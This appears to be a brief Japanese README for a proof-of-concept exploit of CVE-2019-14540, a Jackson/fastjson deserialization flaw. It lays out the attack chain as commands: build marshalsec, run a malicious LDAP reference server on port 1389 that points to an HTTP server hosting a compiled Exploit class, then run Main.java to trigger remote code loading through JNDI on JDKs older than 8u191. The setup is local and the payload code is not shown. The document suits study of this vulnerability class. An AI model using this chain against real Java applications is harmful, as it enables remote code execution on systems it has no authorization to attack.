CVE-2019-14540 エクスプロイト

http://www.leadroyal.cn/?p=939

環境制限：このdemoはjndiのldap利用方法を使用するため、低いバージョン（8u191未満）のjdkを使用する必要があります。

1. marshalsecを使用し、ローカル1389ポートでldapサービスを作成し、ローカル8000のhttpサービスを指すようにする

git clone https://github.com/mbechler/marshalsec.git
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

2. remote_codebaseでリモートロード用のコードをコンパイルする

cd remote_codebase
javac Exploit.java

3. remote_codebaseでローカル8000のhttpサービスを起動する

cd remote_codebase
python -m SimpleHTTPServer

4. Main.javaを実行し、jacksonとfastjsonの逆シリアル化を使用して脆弱性をトリガーする